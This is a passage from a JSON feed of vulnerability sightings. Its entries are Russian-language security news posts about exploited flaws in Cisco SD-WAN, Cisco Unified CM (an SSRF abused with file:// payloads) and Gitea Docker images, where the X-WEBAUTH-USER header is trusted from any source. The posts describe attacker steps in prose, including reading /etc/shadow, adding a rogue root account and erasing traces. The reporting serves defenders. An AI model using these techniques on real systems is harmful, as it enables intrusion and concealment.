\u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f\u00a0/etc/passwd\u0438\u00a0/etc/shadow, \u0430 \u0437\u0430\u0442\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u043b\u0430 \u043d\u043e\u0432\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u0438\u043c\u0435\u043d\u0435\u043c troot \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u00a0su \u043a\u043e\u043c\u0430\u043d\u0434\u0443 Linux \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430 \u0432\u043d\u043e\u0432\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c root, \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c Mandiant, \u043d\u0430\u043f\u0430\u0434\u0430\u0432\u0448\u0438\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043c\u0435\u0442\u043e\u0434\u044b, \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439, \u0434\u0430\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\n\n\u0427\u0442\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432 \u0441\u0435\u0431\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0435\u0440\u0435\u0434 \u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041e\u043d\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0447\u0438\u0441\u0442\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0443\u0434\u0430\u043b\u0438\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 CSV-\u0444\u0430\u0439\u043b, \u0443\u0434\u0430\u043b\u0438\u0432 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0430\u0442\u0430\u043a\u0438, \u0438 \u0441\u0442\u0435\u0440\u0435\u0432 \u0441\u043b\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 root.\n\nMandiant \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0432 \u043c\u0430\u0440\u0442\u0435 2026 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0438\u0440\u0438\u043d\u0433\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0431\u044b\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043d\u0438 \u043a \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0440\u0430\u043d\u0435\u0435 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCisco \u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0447\u0442\u043e \u0432\u0437\u043b\u043e\u043c \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e CVE-2026-20182, \u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b, \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 IOCs, IP \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438.", "creation_timestamp": "2026-07-14T00:00:44.602438Z"}, {"uuid": "8d3a3c0a-580e-4718-a1ed-2215c0729fdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "exploited", "source": "https://t.me/true_secator/8368", "content": "Cisco \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Unified Communications Manager (Unified CM), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0438\u044e\u043d\u044f.\n\nUnified CM (Cisco CallManager) - \u044d\u0442\u043e \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f IP-\u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0435\u0439 Cisco, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0430\u044f \u0437\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044e \u0432\u044b\u0437\u043e\u0432\u043e\u0432, \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043c\u043e\u0433\u0443\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2026-20230) \u0434\u043b\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 (SSRF) \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441.\n\n3 \u0438\u044e\u043d\u044f Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u00a0\u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0437\u0430\u044f\u0432\u0438\u0432, \u0447\u0442\u043e \u0435\u0435 \u0433\u0440\u0443\u043f\u043f\u0430 PSIRT \u0437\u043d\u0430\u043b\u0430 \u043e \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e PoC \u0434\u043b\u044f CVE-2026-20230, \u043d\u043e \u043d\u0435 \u0438\u043c\u0435\u043b\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0440\u0438 \u043d\u0435\u0434\u0435\u043b\u0438 \u0441\u043f\u0443\u0441\u0442\u044f, 22 \u0438\u044e\u043d\u044f, Defused \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043b\u0438 \u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438,\u00a0\u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 file:// \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u0414\u043d\u0451\u043c \u043f\u043e\u0437\u0436\u0435 SSD Secure \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u043b\u043e\u0441\u044c, \u043a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u0412 \u0441\u0440\u0435\u0434\u0443 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0430\u043a\u043e\u043d\u0435\u0446 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 CVE-2026-20230, \u0438 \u043f\u0440\u0438\u0437\u0432\u0430\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0442 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u0412 \u0438\u044e\u043d\u0435 Cisco PSIRT \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\nCisco \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0430\u0441\u044c \u043c\u0435\u0440\u0430\u043c\u0438 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 \u0434\u043b\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0438 \u0433\u0440\u0443\u043f\u043f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u0438 Cisco Unified CM 14SU6 \u0438\u043b\u0438 15SU5, \u043f\u043e\u0441\u043e\u0432\u0435\u0442\u043e\u0432\u0430\u0432 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0441\u043b\u0443\u0436\u0431\u0443 WebDialer \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u043f\u0430\u0442\u0447, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 CVE-2026-20230.\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f Shadowserver \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u00a0\u0431\u043e\u043b\u0435\u0435 200 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Cisco Unified CM, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0445\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0432 \u0441\u0435\u0442\u0438, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u044b \u0432 \u0410\u0437\u0438\u0438 \u0438 \u0421\u0435\u0432\u0435\u0440\u043d\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0435, \u043d\u043e \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043d\u0438\u0445 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043e \u043e\u0442 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0430\u0442\u0430\u043a CVE-2026-20230 \u043d\u0435 \u044f\u0441\u043d\u043e.", "creation_timestamp": "2026-07-14T00:00:46.578156Z"}, {"uuid": "833fda8b-3e9d-4a2f-9738-7ddc8107a8d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "exploited", "source": "https://t.me/xakep_ru/19547", "content": "Cisco \u043f\u0430\u0442\u0447\u0438\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 SD-WAN\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-20262 \u0432 Catalyst SD-WAN Manager (\u0440\u0430\u043d\u0435\u0435 SD-WAN vManage). \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root. \u0421 \u043d\u0430\u0447\u0430\u043b\u0430 2026 \u0433\u043e\u0434\u0430 \u044d\u0442\u043e \u0443\u0436\u0435 \u0432\u043e\u0441\u044c\u043c\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Cisco SD-WAN, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\nhttps://xakep.ru/2026/06/19/sd-wan-patch/", "creation_timestamp": "2026-07-14T00:00:48.292534Z"}, {"uuid": "cc3f60f3-50e3-4e4f-b20a-c3ed2593e7b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "exploited", "source": "https://t.me/true_secator/8383", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Sysdig \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043e \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043e\u0431\u0440\u0430\u0437\u0430\u0445 Docker Gitea.\n\nCVE-2026-20896\u00a0(CVSS: 9,8) \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 DevOps \u0434\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443 X-WEBAUTH-USER \u043e\u0442 \u043b\u044e\u0431\u043e\u0433\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e IP, \u0447\u0442\u043e \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043a\u043b\u0438\u0435\u043d\u0442\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0410\u043b\u0438 \u041c\u0443\u0441\u0442\u0430\u0444\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043e\u0431\u0440\u0430\u0437\u044b Docker \u043e\u0442 Gitea \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u0448\u0430\u0431\u043b\u043e\u043d app.ini, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u0434\u0430\u043d\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 REVERSE_PROXY_TRUSTED_PROXIES = *.\n\n\u0424\u0430\u0439\u043b app.ini \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f\u043c\u0438 \u043a \u0431\u0430\u0437\u0430\u043c \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435\u043c \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u043c \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u043c \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u044d\u0442\u043e\u0442 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u0447\u043d\u044b\u0439 \u0437\u043d\u0430\u043a \u0434\u043e\u0432\u0435\u0440\u044f\u0435\u0442 